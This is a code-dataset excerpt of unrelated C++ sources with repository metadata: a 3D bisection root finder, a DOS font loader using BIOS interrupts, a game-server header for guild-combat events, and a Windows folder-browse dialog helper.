fY1, Real fZ1, Real& rfXRoot, Real& rfYRoot, Real& rfZRoot) { // test eight corner values if (ZeroTest(fX0,fY0,fZ0,m_fF000,m_fG000,m_fH000,rfXRoot,rfYRoot,rfZRoot)) { return true; } if (ZeroTest(fX1,fY0,fZ0,m_fF100,m_fG100,m_fH100,rfXRoot,rfYRoot,rfZRoot)) { return true; } if (ZeroTest(fX0,fY1,fZ0,m_fF010,m_fG010,m_fH010,rfXRoot,rfYRoot,rfZRoot)) { return true; } if (ZeroTest(fX1,fY1,fZ0,m_fF110,m_fG110,m_fH110,rfXRoot,rfYRoot,rfZRoot)) { return true; } if (ZeroTest(fX0,fY0,fZ1,m_fF001,m_fG001,m_fH001,rfXRoot,rfYRoot,rfZRoot)) { return true; } if (ZeroTest(fX1,fY0,fZ1,m_fF101,m_fG101,m_fH101,rfXRoot,rfYRoot,rfZRoot)) { return true; } if (ZeroTest(fX0,fY1,fZ1,m_fF011,m_fG011,m_fH011,rfXRoot,rfYRoot,rfZRoot)) { return true; } if (ZeroTest(fX1,fY1,fZ1,m_fF111,m_fG111,m_fH111,rfXRoot,rfYRoot,rfZRoot)) { return true; } // build initial oct // add pkN000 m_pkGraph = WM4_NEW BisectNode; m_pkGraph->X = fX0; m_pkGraph->Y = fY0; m_pkGraph->Z = fZ0; m_pkGraph->F = m_fF000; m_pkGraph->G = m_fG000; m_pkGraph->H = m_fH000; // add pkN100 BisectNode* pkTemp = AddNode(fX1,fY0,fZ0,m_fF100,m_fG100,m_fH100); pkTemp->XNext = 0; m_pkGraph->XNext = pkTemp; // add pkN010 pkTemp = AddNode(fX0,fY1,fZ0,m_fF010,m_fG010,m_fH010); pkTemp->YNext = 0; m_pkGraph->YNext = pkTemp; // add pkN110 AddNode(fX1,fY1,fZ0,m_fF110,m_fG110,m_fH110); pkTemp->XNext = 0; pkTemp->YNext = 0; m_pkGraph->XNext->YNext = pkTemp; m_pkGraph->YNext->XNext = pkTemp; // add pkN001 pkTemp = AddNode(fX0,fY1,fZ1,m_fF001,m_fG001,m_fH001); pkTemp->ZNext = 0; m_pkGraph->ZNext = pkTemp; // add pkN101 pkTemp = AddNode(fX1,fY0,fZ1,m_fF101,m_fG101,m_fH101); pkTemp->XNext = 0; pkTemp->ZNext = 0; m_pkGraph->XNext->ZNext = pkTemp; m_pkGraph->ZNext->XNext = pkTemp; // add pkN011 pkTemp = AddNode(fX0,fY1,fZ1,m_fF011,m_fG011,m_fH011); pkTemp->YNext = 0; pkTemp->ZNext = 0; m_pkGraph->YNext->ZNext = pkTemp; m_pkGraph->ZNext->YNext = pkTemp; // add pkN111 pkTemp = AddNode(fX1,fY1,fZ1,m_fF111,m_fG111,m_fH111); m_pkGraph->XNext->YNext->ZNext = pkTemp; m_pkGraph->YNext->XNext->ZNext = pkTemp; m_pkGraph->XNext->ZNext->YNext = pkTemp; bool bResult = BisectRecurse(m_pkGraph); if (bResult) { rfXRoot = m_fXRoot; rfYRoot = m_fYRoot; rfZRoot = m_fZRoot; } // remove remaining oct from m_pkGraph WM4_DELETE m_pkGraph->XNext->YNext->ZNext; WM4_DELETE m_pkGraph->XNext->ZNext; WM4_DELETE m_pkGraph->YNext->ZNext; WM4_DELETE m_pkGraph->ZNext; WM4_DELETE m_pkGraph->XNext->YNext; WM4_DELETE m_pkGraph->XNext; WM4_DELETE m_pkGraph->YNext; WM4_DELETE m_pkGraph; return bResult; } //---------------------------------------------------------------------------- template <class Real> bool Bisect3<Real>::BisectRecurse (BisectNode* pkN000) { if (++m_iLevel == m_iMaxLevel) { m_iLevel--; return false; } BisectNode* pkN100 = pkN000->XNext; BisectNode* pkN010 = pkN000->YNext; BisectNode* pkN110 = pkN100->YNext; BisectNode* pkN001 = pkN000->ZNext; BisectNode* pkN101 = pkN001->XNext; BisectNode* pkN011 = pkN001->YNext; BisectNode* pkN111 = pkN101->YNext; m_iNetSign = (int)( Math<Real>::Sign(pkN000->F) + Math<Real>::Sign(pkN010->F) + Math<Real>::Sign(pkN100->F) + Math<Real>::Sign(pkN110->F) + Math<Real>::Sign(pkN001->F) + Math<Real>::Sign(pkN011->F) + Math<Real>::Sign(pkN101->F) + Math<Real>::Sign(pkN111->F)); if (abs(m_iNetSign) == 8) { // F has same sign at corners m_iLevel--; return false; } m_iNetSign = (int)( Math<Real>::Sign(pkN000->G) + Math<Real>::Sign(pkN010->G) + Math<Real>::Sign(pkN100->G) + Math<Real>::Sign(pkN110->G) + Math<Real>::Sign(pkN001->G) + Math<Real>::Sign(pkN011->G) + Math<Real>::Sign(pkN101->G) + Math<Real>::Sign(pkN111->G)); if (abs(m_iNetSign) == 8) { // G has same sign at corners m_iLevel--; return false; } m_iNetSign = (int)( Math<Real>::Sign(pkN000->H) + Math<Real>::Sign(pkN010->H) + Math<Real>::Sign(pkN100->H) + Math<Real>::Sign(pkN110->H) + Math<Real>::Sign(pkN001->H) + Math<Real>::Sign(pkN011->H) + Math<Real>::Sign(pkN101->H) + Math<Real>::Sign(pkN111->H)); if (abs(m_iNetSign) == 8) { // H has same sign at corners m_iLevel--; return false; } // bisect the oct m_fX0 = pkN000->X; m_fY0 = pkN000->Y; m_fZ0 = pkN000->Z; m_fX1 = pkN111->X; m_fY1 = pkN111->Y; m_fZ1 = pkN111->Z; m_fXm = 0.5f*(m_fX0+m_fX1); m_fYm = 0.5f*(m_fY0+m_fY1); m_fZm = 0.5f*(m_fZ0+m_fZ1); // edge 011,111 if (ZeroTest(m_fXm,m_fY1,m_fZ1,m_fFm11,m_fGm11,m_fHm11,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 101,111 if (ZeroTest(m_fX1,m_fYm,m_fZ1,m_fF1m1,m_fG1m1,m_fH1m1,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 110,111 if (ZeroTest(m_fX1,m_fY1,m_fZm,m_fF11m,m_fG11m,m_fH11m,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 010,110 if (ZeroTest(m_fXm,m_fY1,m_fZ0,m_fFm10,m_fGm10,m_fHm10,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 100,110 if (ZeroTest(m_fX1,m_fYm,m_fZ0,m_fF1m0,m_fG1m0,m_fH1m0,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 100,101 if (ZeroTest(m_fX1,m_fY0,m_fZm,m_fF10m,m_fG10m,m_fH10m,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 001,101 if (ZeroTest(m_fXm,m_fY0,m_fZ1,m_fFm01,m_fGm01,m_fHm01,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 001,011 if (ZeroTest(m_fX0,m_fYm,m_fZ1,m_fF0m1,m_fG0m1,m_fH0m1,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 010,011 if (ZeroTest(m_fX0,m_fY1,m_fZm,m_fF01m,m_fG01m,m_fH01m,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 000,100 if (ZeroTest(m_fXm,m_fY0,m_fZ0,m_fFm00,m_fGm00,m_fHm00,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 000,010 if (ZeroTest(m_fX0,m_fYm,m_fZ0,m_fF0m0,m_fG0m0,m_fH0m0,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 000,001 if (ZeroTest(m_fX0,m_fY0,m_fZm,m_fF00m,m_fG00m,m_fH00m,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // face 110,100,101,111 if (ZeroTest(m_fX1,m_fYm,m_fZm,m_fF1mm,m_fG1mm,m_fH1mm,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // face 010,110,111,011 if (ZeroTest(m_fXm,m_fY1,m_fZm,m_fFm1m,m_fGm1m,m_fHm1m,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // face 001,101,111,011 if (ZeroTest(m_fXm,m_fYm,m_fZ1,m_fFmm1,m_fGmm1,m_fHmm1,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // face 000,010,011,001 if (ZeroTest(m_fX0,m_fYm,m_fZm,m_fF0mm,m_fG0mm,m_fH0mm,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // face 000,100,001,101 if (ZeroTest(m_fXm,m_fY0,m_fZm,m_fFm0m,m_fGm0m,m_fHm0m,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // face 000,100,110,010 if (ZeroTest(m_fXm,m_fYm,m_fZ0,m_fFmm0,m_fGmm0,m_fHmm0,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // center if (ZeroTest(m_fXm,m_fYm,m_fZm,m_fFmmm,m_fGmmm,m_fHmmm,m_fXRoot,m_fYRoot, m_fZRoot)) { return true; } // edge 011,111 BisectNode* pkTemp = AddNode(m_fXm,m_fY1,m_fZ1,m_fFm11,m_fGm11,m_fHm11); pkTemp->XNext = pkN111; pkTemp->YNext = 0; pkTemp->ZNext = 0; pkN011->XNext = pkTemp; // edge 101,111 pkTemp = AddNode(m_fX1,m_fYm,m_fZ1,m_fF1m1,m_fG1m1,m_fH1m1); pkTemp->XNext = 0; pkTemp->YNext = pkN111; pkTemp->ZNext = 0; pkN101->YNext = pkTemp; // edge 110,111 pkTemp = AddNode(m_fX1,m_fY1,m_fZm,m_fF11m,m_fG11m,m_fH11m); pkTemp->XNext = 0; pkTemp->YNext = 0; pkTemp->ZNext = pkN111; pkN110->ZNext = pkTemp; // edge 010,110 pkTemp = AddNode(m_fXm,m_fY1,m_fZ0,m_fFm10,m_fGm10,m_fHm10); pkTemp->XNext = pkN110; pkTemp->YNext = 0; pkN010->XNext = pkTemp; // edge 100,110 pkTemp = AddNode(m_fX1,m_fYm,m_fZ1,m_fF1m0,m_fG1m0,m_fH1m0); pkTemp->XNext = 0; pkTemp->YNext = pkN110; pkN100->YNext = pkTemp; // edge 100,101 pkTemp = AddNode(m_fX1,m_fY0,m_fZm,m_fF10m,m_fG10m,m_fH10m); pkTemp->XNext = 0; pkTemp->ZNext = pkN101; pkN100->ZNext = pkTemp; // edge 001,101 pkTemp = AddNode(m_fXm,m_fY0,m_fZ1,m_fFm01,m_fGm01,m_fHm01); pkTemp->XNext = pkN101; pkTemp->ZNext = 0; pkN001->XNext = pkTemp; // edge 001,011 pkTemp = AddNode(m_fX0,m_fYm,m_fZ1,m_fF0m1,m_fG0m1,m_fH0m1); pkTemp->YNext = pkN011; pkTemp->ZNext = 0; pkN001->YNext = pkTemp; // edge 010,011 pkTemp = AddNode(m_fX0,m_fY1,m_fZm,m_fF01m,m_fG01m,m_fH01m); pkTemp->YNext = 0; pkTemp->ZNext = pkN011; pkN010->ZNext = pkTemp; // edge 000,100 pkTemp = AddNode(m_fXm,m_fY0,m_fZ0,m_fFm00,m_fGm00,m_fHm00); pkTemp->XNext = pkN100; pkN000->XNext = pkTemp; // edge 000,010 pkTemp = AddNode(m_fX0,m_fYm,m_fZ0,m_fF0m0,m_fG0m0,m_fH0m0); pkTemp->YNext = pkN010; pkN000->YNext = pkTemp; // edge 000,001 pkTemp = AddNode(m_fX0,m_fY0,m_fZm,m_fF00m,m_fG00m,m_fH00m); pkTemp->ZNext = pkN001; pkN000->ZNext = pkTemp; // face 110,100,101,111 pkTemp = AddNode(m_fX1,m_fYm,m_fZm,m_fF11m,m_fG11m,m_fH11m); pkTemp->XNext = 0; pkTemp->YNext = pkN110->ZNext; pkTemp->ZNext = pkN101->YNext; pkN100->YNext->ZNext = pkTemp; pkN100->ZNext->YNext = pkTemp; // face 010,110,111,011 pkTemp = AddNode(m_fXm,m_fY1,m_fZm,m_fFm1m,m_fGm1m,m_fHm1m); pkTemp->XNext = pkN110->ZNext; pkTemp->YNext = 0; pkTemp->ZNext = pkN011->XNext; pkN010->XNext->ZNext = pkTemp; pkN010->ZNext->XNext = pkTemp; // face 001,101,111,011 pkTemp = AddNode(m_fXm,m_fYm,m_fZ1,m_fFmm1,m_fGmm1,m_fHmm1); pkTemp->XNext = pkN101->YNext; pkTemp->YNext = pkN011->XNext; pkTemp->ZNext = 0; pkN001->XNext->YNext = pkTemp; pkN001->YNext->XNext = pkTemp; // face 000,010,011,001 pkTemp = AddNode(m_fX0,m_fYm,m_fZm,m_fF0mm,m_fG0mm,m_fH0mm); pkTemp->YNext = pkN010->ZNext; pkTemp->ZNext = pkN001->YNext; pkN000->YNext->ZNext = pkTemp; pkN000->ZNext->YNext = pkTemp; // face 000,100,001,101 pkTemp = AddNode(m_fXm,m_fY0,m_fZm,m_fFm0m,m_fGm0m,m_fHm0m); pkTemp->XNext = pkN100->ZNext; pkTemp->ZNext = pkN001->XNext; pkN000->XNext->ZNext = pkTemp; pkN000->ZNext->XNext = pkTemp; // face 000,100,110,010 pkTemp = AddNode(m_fXm,m_fYm,m_fZ0,m_fFmm0,m_fGmm0,m_fHmm0); pkTemp->XNext = pkN100->YNext; pkTemp->YNext = pkN010->XNext; pkN000->XNext->YNext = pkTemp; pkN000->YNext->XNext = pkTemp; // center pkTemp = AddNode(m_fXm,m_fYm,m_fZm,m_fFmmm,m_fGmmm,m_fHmmm); pkTemp->XNext = pkN100->YNext->ZNext; pkTemp->YNext = pkN010->XNext->ZNext; pkTemp->ZNext = pkN001->XNext->YNext; pkN000->XNext->YNext->ZNext = pkTemp; pkN000->XNext->ZNext->YNext = pkTemp; pkN000->YNext->ZNext->XNext = pkTemp; // Search the subocts for roots bool bResult = BisectRecurse(pkN000) || BisectRecurse(pkN000->XNext) || BisectRecurse(pkN000->YNext) || BisectRecurse(pkN000->XNext->YNext) || BisectRecurse(pkN000->ZNext) || BisectRecurse(pkN000->ZNext->XNext) || BisectRecurse(pkN000->ZNext->YNext) || BisectRecurse(pkN000->ZNext->XNext->YNext); // entire suboct check failed, remove the nodes that were added // center WM4_DELETE pkN000->XNext->YNext->ZNext; // faces WM4_DELETE pkN000->XNext->YNext; WM4_DELETE pkN000->YNext->ZNext; WM4_DELETE pkN000->XNext->ZNext; WM4_DELETE pkN001->XNext->YNext; WM4_DELETE pkN010->XNext->ZNext; WM4_DELETE pkN100->YNext->ZNext; // edges WM4_DELETE pkN000->XNext; pkN000->XNext = pkN100; WM4_DELETE pkN000->YNext; pkN000->YNext = pkN010; WM4_DELETE pkN000->ZNext; pkN000->ZNext = pkN001; WM4_DELETE pkN001->YNext; pkN001->YNext = pkN011; WM4_DELETE pkN001->XNext; pkN001->XNext = pkN101; WM4_DELETE pkN010->ZNext; pkN010->ZNext = pkN011; WM4_DELETE pkN100->ZNext; pkN100->ZNext = pkN101; WM4_DELETE pkN010->XNext; pkN010->XNext = pkN110; WM4_DELETE pkN100->YNext; pkN100->YNext = pkN110; WM4_DELETE pkN011->XNext; pkN011->XNext = pkN111; WM4_DELETE pkN101->YNext; pkN101->YNext = pkN111; WM4_DELETE pkN110->ZNext; pkN110->ZNext = pkN111; m_iLevel--; return bResult; } //---------------------------------------------------------------------------- //---------------------------------------------------------------------------- // explicit instantiation //---------------------------------------------------------------------------- template WM4_FOUNDATION_ITEM class Bisect3<float>; template WM4_FOUNDATION_ITEM class Bisect3<double>; //---------------------------------------------------------------------------- }
[ "yf.flagship@e79fdf7c-a9d8-11de-b950-3d5b5f4ea0aa" ]
[ [ [ 1, 575 ] ] ]
40466a7fd5683218929deaac4c9daecf6105ef80
5ee08487a9cdb4aa377457d7589871b0934d7884
/HINTS/LOADFONT.CPP
22eadfa3c6724b128681c43fff083e9275939b90
[]
no_license
v0idkr4ft/algo.vga
0cf5affdebd02a49401865d002679d16ac8efb09
72c97a01d1e004f62da556048b0ef5b7df34b89c
refs/heads/master
2021-05-27T18:48:48.823361
2011-04-26T03:58:02
2011-04-26T03:58:02
null
0
0
null
null
null
null
WINDOWS-1252
C++
false
false
1,192
cpp
// This prog updates the character generation tables with a pre-defined // character set. In this case it uses the STARTREK.BIN file to emulate // a star trekkish type of font for normal dos use. // // Compile using: BCC LoadFont #include <stdio.h> #include <dos.h> void loadfont(char *font) { unsigned int fseg = FP_SEG(font); unsigned int foff = FP_OFF(font); asm push bp asm mov ax, 1110h asm mov bx, 1000h asm mov cx, 0ffh asm xor dx, dx asm mov es, fseg asm mov bp, foff asm int 10h asm pop bp } // below procedure clears the screen to whatever video mode the screen // is currently set to. *8) void clearscreen() { asm mov ah,0fh asm int 10h asm xor ah,ah asm int 10h } void main() { FILE *fp; char font[4096]; fp = fopen("FONTSET1.BIN", "rb"); fread(&font, sizeof font, 1, fp); fclose(fp); clearscreen(); loadfont(font); printf("\n Proudly Brought to you by..."); printf("\n ú ú .úùÄ--ĵThä ­¤Õ¡¤¡çî ’sçâàL Sæ¤ër™mî 1996ÆÄ--ÄÄùú. .\n"); }
[ [ [ 1, 49 ] ] ]
66c06fe03dce2682f7b12c89267a9fc067c8e9b0
91b964984762870246a2a71cb32187eb9e85d74e
/SRC/OFFI SRC!/_Common/eveschool.h
08d4f5fa8b96bab5f0068dc3512e8eade715e601
[]
no_license
willrebuild/flyffsf
e5911fb412221e00a20a6867fd00c55afca593c7
d38cc11790480d617b38bb5fc50729d676aef80d
refs/heads/master
2021-01-19T20:27:35.200154
2011-02-10T12:34:43
2011-02-10T12:34:43
32,710,780
3
0
null
null
null
null
UHC
C++
false
false
9,390
h
#ifndef __EVE_SCHOOL_H__ #define __EVE_SCHOOL_H__ #include "guild.h" #define MAX_SCHOOL 10 enum { SBS_END, SBS_READY, SBS_START, SBS_START2, }; typedef struct _SCHOOL_ENTRY { u_long id; char lpName[MAX_G_NAME]; int nSurvivor; int nSize; int nLevel; int nDead; _SCHOOL_ENTRY() { id = 0; *lpName = '\0'; nSurvivor = 0; nSize = 0; nLevel = 0; nDead = 0; }; } SCHOOL_ENTRY, *PSCHOOL_ENTRY; class CGuildMng; class CEveSchool { public: CGuildMng* m_pSchoolMng; D3DXVECTOR3 m_avPos[MAX_SCHOOL]; D3DXVECTOR3 m_vDefault; DWORD m_dwsbstart2; public: CEveSchool(); ~CEveSchool() {} BOOL Ready( void ); BOOL Start( void ); BOOL Start2( void ); BOOL End( void ); BOOL Report( void ); BOOL LoadPos( LPCSTR lpszFileName ); D3DXVECTOR3 GetPos( u_long id ); D3DXVECTOR3 GetPos( void ) { return m_vDefault; } static CEveSchool* GetInstance(); }; typedef struct __AUTO_OPEN { BOOL bUseing; BYTE nHour; BYTE nMinute; } __AUTO_OPEN; class CGuildCombat { #ifdef __WORLDSERVER __AUTO_OPEN __AutoOpen[7]; #endif // __WORLDSERVER public: enum { OPEN_STATE, CLOSE_STATE, WAR_STATE, COMPLET_CLOSE_STATE, GM_COLSE_STATE }; enum { NOTENTER_STATE = 100, NOTENTER_COUNT_STATE, ENTER_STATE, MAINTENANCE_STATE, WAR_WAR_STATE, WAR_CLOSE_STATE, WAR_CLOSE_WAIT_STATE, WAR_TELEPORT_STATE }; enum { ALLMSG = 1000, GUILDMSG, JOINMSG, WORLDMSG, STATE, WARSTATE, WAIT }; struct __REQUESTGUILD { u_long uidGuild; DWORD dwPenya; }; struct __JOINPLAYER { u_long uidPlayer; // 캐릭터 아이디 int nlife; // 남은 생명 // BOOL bEntry; // 참가 유/무 int nPoint; // 포인트 int uKillidGuild; // 전에 죽인 길드 int nMap; // 대전 텔레포트 맵 DWORD dwTelTime; // 대전 텔레포트 시간 __JOINPLAYER() { uidPlayer = 0; nlife = 0; nPoint = 0; uKillidGuild = 0; nMap = 0; dwTelTime = 0; } }; struct __GCSENDITEM { int nWinCount; DWORD dwItemId; int nItemNum; __GCSENDITEM() { nWinCount = 0; dwItemId = 0; nItemNum = 0; } }; struct __GuildCombatMember { #ifdef __S_BUG_GC u_long uGuildId; #endif // __S_BUG_GC vector<__JOINPLAYER*> vecGCSelectMember; // 대전에 선택된 멤버 정보 // set<u_long> GuildCombatJoinMember; // 길드전에 참가한멤버 // set<u_long> GuildCombatOutMember; // 참가했는데 죽었던가 나간 멤버 // FLOAT fAvgLevel; // 평균 레벨 DWORD dwPenya; // 참가비 BOOL bRequest; // 참가 유/무 u_long m_uidDefender; // 디펜더 int nJoinCount; // 참가 카운터 int nWarCount; // 전투 인원수 int nGuildPoint; // 길드 포인트 list<__JOINPLAYER*> lspFifo; void Clear() { #ifdef __S_BUG_GC uGuildId = 0; #endif // __S_BUG_GC SelectMemberClear(); dwPenya = 0; bRequest = FALSE; m_uidDefender = 0; nJoinCount = 0; nWarCount = 0; nGuildPoint = 0; }; void SelectMemberClear() { for( int veci = 0 ; veci < (int)( vecGCSelectMember.size() ) ; ++veci ) { __JOINPLAYER* pJoinPlayer = vecGCSelectMember[veci]; SAFE_DELETE( pJoinPlayer ); } vecGCSelectMember.clear(); lspFifo.clear(); } }; struct __GuildCombatProcess { int nState; DWORD dwTime; DWORD dwCommand; DWORD dwParam; }; struct __GCRESULTVALUEGUILD { int nCombatID; // 길드대전 아이디 u_long uidGuild; // 길드 아이디 __int64 nReturnCombatFee; // 돌려받을 참여금 __int64 nReward; // 보상금 }; struct __GCRESULTVALUEPLAYER { int nCombatID; // 길드대전 아이디 u_long uidGuild; // 길드 아이디 u_long uidPlayer; // 플레이어 아이디 __int64 nReward; // 보상금 }; struct __GCGETPOINT { u_long uidGuildAttack; u_long uidGuildDefence; u_long uidPlayerAttack; u_long uidPlayerDefence; int nPoint; BOOL bKillDiffernceGuild; BOOL bMaster; BOOL bDefender; BOOL bLastLife; __GCGETPOINT() { uidGuildAttack = uidGuildDefence = uidPlayerAttack = uidPlayerDefence = nPoint = 0; bKillDiffernceGuild = bMaster = bDefender = bLastLife = FALSE; } }; struct __GCPLAYERPOINT { u_long uidPlayer; int nJob; int nPoint; __GCPLAYERPOINT() { uidPlayer = nJob = nPoint = 0; } }; int m_nGuildCombatIndex; u_long m_uWinGuildId; int m_nWinGuildCount; u_long m_uBestPlayer; vector<__GCGETPOINT> m_vecGCGetPoint; vector<__GCPLAYERPOINT> m_vecGCPlayerPoint; #ifdef __WORLDSERVER #ifdef __S_BUG_GC vector<__GuildCombatMember*> m_vecGuildCombatMem; #else // __S_BUG_GC map<u_long, __GuildCombatMember*> m_GuildCombatMem; #endif // __S_BUG_GC DWORD m_dwTime; int m_nProcessGo; int m_nProcessCount[ 25 ]; __GuildCombatProcess GuildCombatProcess[250]; int m_nStopWar; // 1이면 중간에 종료, 2이면 운영자가 종료 int m_nJoinPanya; // 대전에 참가할수 있는 기본 Penya int m_nGuildLevel; // 대전에 참가할수 있는 최소 길드레벨 #if __VER >= 8 // __GUILDCOMBAT_85 int m_nMinGuild; // 최소 전쟁을 할수 있는 길드 개수(최소 참여 길드 조건이 되야 길드 대전이 시작함) int m_nMaxGCSendItem; #endif // __VER >= 8 int m_nMaxGuild; // 대전에 참가할수 있는 길드 int m_nMaxJoinMember; // 대전에 참가할수 있는 최대 유저 int m_nMaxPlayerLife; // 대전에 참가한 유저의 최대 생명 int m_nMaxWarPlayer; // 최대 선발대 유저 int m_nMaxMapTime; // 대전 위치 설정 시간 int m_nMaxGuildPercent; // 대전길드 상금 퍼센트 int m_nMaxPlayerPercent;// 베스트 플레이어 퍼센트 int m_nRequestCanclePercent; // 참가신청시 취소한 길드에게 돌려줄 퍼센트 int m_nNotRequestPercent; // 참가시 입찰이 안된길드에게 돌려줄 퍼센트 int m_nItemPenya; // 대전 상품 아이템 가격(용망토?) BOOL m_bMutex; // 길드대전 오픈 한번만... BOOL m_bMutexMsg; // 길드대전 오픈 한번만... CTimer m_ctrMutexOut; #if __VER >= 8 // __GUILDCOMBAT_85 vector< CString > m_vecstrGuildMsg; vector<__GCSENDITEM> vecGCSendItem; #endif // __VER >= 8 vector<__REQUESTGUILD> vecRequestRanking; // 참가 순위 vector<__GCRESULTVALUEGUILD> m_GCResultValueGuild; // 길드대전 결과값 vector<__GCRESULTVALUEPLAYER> m_GCResultValuePlayer; // 길드대전 결과값 #endif // __WORLDSERVER int m_nState; // 길드워 상태 int m_nGCState; // 전투 중일 때의 상태 #ifdef __CLIENT BOOL m_bRequest; // 신청 유무 BOOL IsRequest( void ) { return m_bRequest; }; #endif // __CLIENT public: // Constructions CGuildCombat(); virtual ~CGuildCombat(); void GuildCombatClear( int Clear = 1 ); void GuildCombatGameClear(); void SelectPlayerClear( u_long uidGuild ); void AddvecGCGetPoint( u_long uidGuildAttack, u_long uidGuildDefence, u_long uidPlayerAttack, u_long uidPlayerDefence, int nPoint, BOOL bKillDiffernceGuild, BOOL bMaster, BOOL bDefender, BOOL bLastLife ); void AddvecGCPlayerPoint( u_long uidPlayer, int nJob, int nPoint ); #ifdef __WORLDSERVER BOOL LoadScript( LPCSTR lpszFileName ); void JoinGuildCombat( u_long idGuild, DWORD dwPenya, BOOL bRequest ); void AddSelectPlayer( u_long idGuild, u_long uidPlayer ); void GetSelectPlayer( u_long idGuild, vector<__JOINPLAYER> &vecSelectPlayer ); void OutGuildCombat( u_long idGuild ); void SetMaintenance(); void SetEnter(); void SetGuildCombatStart(); void SetGuildCombatClose( BOOL bGM = FALSE ); void SetGuildCombatCloseWait( BOOL bGM = FALSE ); void GuildCombatCloseTeleport(); void SetNpc( void ); void SetRequestRanking( void ); void SetDefender( u_long uidGuild, u_long uidDefender ); void SetPlayerChange( CUser* pUser, CUser* pLeader ); u_long GetDefender( u_long uidGuild ); u_long GetBestPlayer( u_long* dwGetGuildId, int* nGetPoint ); DWORD GetRequstPenya( u_long uidGuild ); void GetPoint( CUser* pAttacker, CUser* pDefender ); __int64 GetPrizePenya( int nFlag ); BOOL IsRequestWarGuild( u_long uidGuild, BOOL bAll ); BOOL IsSelectPlayer( CUser* pUser ); void JoinWar( CUser* pUser, int nMap = 99, BOOL bWar = TRUE ); void OutWar( CUser* pUser, CUser* pLeader, BOOL bLogOut = FALSE ); void JoinObserver( CUser* pUser ); void GuildCombatRequest( CUser* pUser, DWORD dwPenya ); void GuildCombatCancel( CUser* pUser ); void GuildCombatOpen( void ); void GuildCombatEnter( CUser* pUser ); void SetSelectMap( CUser* pUser, int nMap ); void UserOutGuildCombatResult( CUser* pUser ); void GuildCombatResult( BOOL nResult = FALSE, u_long idGuildWin = 0 ); void Process(); void ProcessCommand(); void ProcessJoinWar(); void SendJoinMsg( LPCTSTR lpszString ); void SendGuildCombatEnterTime( void ); void SendGCLog( void ); void SerializeGCWarPlayerList( CAr & ar ); #if __VER >= 11 // __GUILDCOMBATCHIP void GuildCombatResultRanking(); #endif // __GUILDCOMBATCHIP CTime GetNextGuildCobmatTime(void); int m_nDay; #ifdef __S_BUG_GC __GuildCombatMember* FindGuildCombatMember( u_long GuildId ); #endif // __S_BUG_GC #endif // __WORLDSERVER }; #endif // __EVE_SCHOOL_H__
[ "[email protected]@e2c90bd7-ee55-cca0-76d2-bbf4e3699278" ]
[ [ [ 1, 322 ] ] ]
feb3e6e34fa4c589ecee4b0da84d00224074f0bc
14298a990afb4c8619eea10988f9c0854ec49d29
/PowerBill四川电信专用版本/ibill_source/FolderBrowserDialog.cpp
10a2ca47ccd66a4bb1989109edb13d37d3cf3494
[]
no_license
sridhar19091986/xmlconvertsql
066344074e932e919a69b818d0038f3d612e6f17
bbb5bbaecbb011420d701005e13efcd2265aa80e
refs/heads/master
2021-01-21T17:45:45.658884
2011-05-30T12:53:29
2011-05-30T12:53:29
42,693,560
0
0
null
null
null
null
WINDOWS-1252
C++
false
false
2,422
cpp
#include "FolderBrowseDialog.h" #define INFO_BUFFER_SIZE 32767 FolderBrowseDialog::FolderBrowseDialog(HWND HwndOwner) { memset(&FInfo,0,sizeof(BROWSEINFO)); memset(FFolderName,0,260); FInfo.hwndOwner = HwndOwner; FInfo.pszDisplayName = FFolderName; FInfo.lpszTitle = "ÇëÑ¡ÔñĿ¼"; FInfo.ulFlags = BIF_RETURNONLYFSDIRS; } //--------------------------------------------------------------------------- FolderBrowseDialog::FolderBrowseDialog() { memset(&FInfo,0,sizeof(BROWSEINFO)); memset(FFolderName,0,260); FInfo.pszDisplayName = FFolderName; FInfo.lpszTitle = "ÇëÑ¡ÔñĿ¼"; FInfo.ulFlags = BIF_RETURNONLYFSDIRS; } //--------------------------------------------------------------------------- void __fastcall FolderBrowseDialog::SetBrowseInfoFlags(UINT ulFlags) { FInfo.ulFlags = ulFlags; } //--------------------------------------------------------------------------- bool __fastcall FolderBrowseDialog::Execute() { LPITEMIDLIST ItemID; char SelectDir[INFO_BUFFER_SIZE]; memset(SelectDir,0,INFO_BUFFER_SIZE); ItemID = SHBrowseForFolder(&FInfo); if(ItemID) { SHGetPathFromIDList(ItemID,SelectDir); GlobalFree(ItemID); FFolderPath = AnsiString(SelectDir); return true; } else { return false; } } //--------------------------------------------------------------------------- bool __fastcall FolderBrowseDialog::Execute(HWND HwndOwner) { FInfo.hwndOwner = HwndOwner; if(Execute()) { return true; } else { return false; } } //--------------------------------------------------------------------------- AnsiString __fastcall FolderBrowseDialog::GetDialogTitle() { return FInfo.lpszTitle; } //--------------------------------------------------------------------------- AnsiString __fastcall FolderBrowseDialog::GetFolderName() { return AnsiString(FFolderName); } //--------------------------------------------------------------------------- void __fastcall FolderBrowseDialog::SetDialogTitle(AnsiString title) { FInfo.lpszTitle = title.c_str(); } //--------------------------------------------------------------------------- AnsiString __fastcall FolderBrowseDialog::GetFolderPath() { return FFolderPath; } //---------------------------------------------------------------------------
[ "cn.wei.hp@e7bd78f4-57e5-8052-e4e7-673d445fef99" ]
[ [ [ 1, 81 ] ] ]
a545242a77a9771df816a7c89d4a132f4525f8f5
5b61b21b4ee18488e9bc1074ea32ed20c62f9633
/Reader/pose.cpp
26a94cfc37b20c81c59951a0ebc86cbc8fa0109c
[]
no_license
mohammadharisbaig/opencv-kinect
ca8905e0c32b65b6410adf2a73e70562f1633fb0
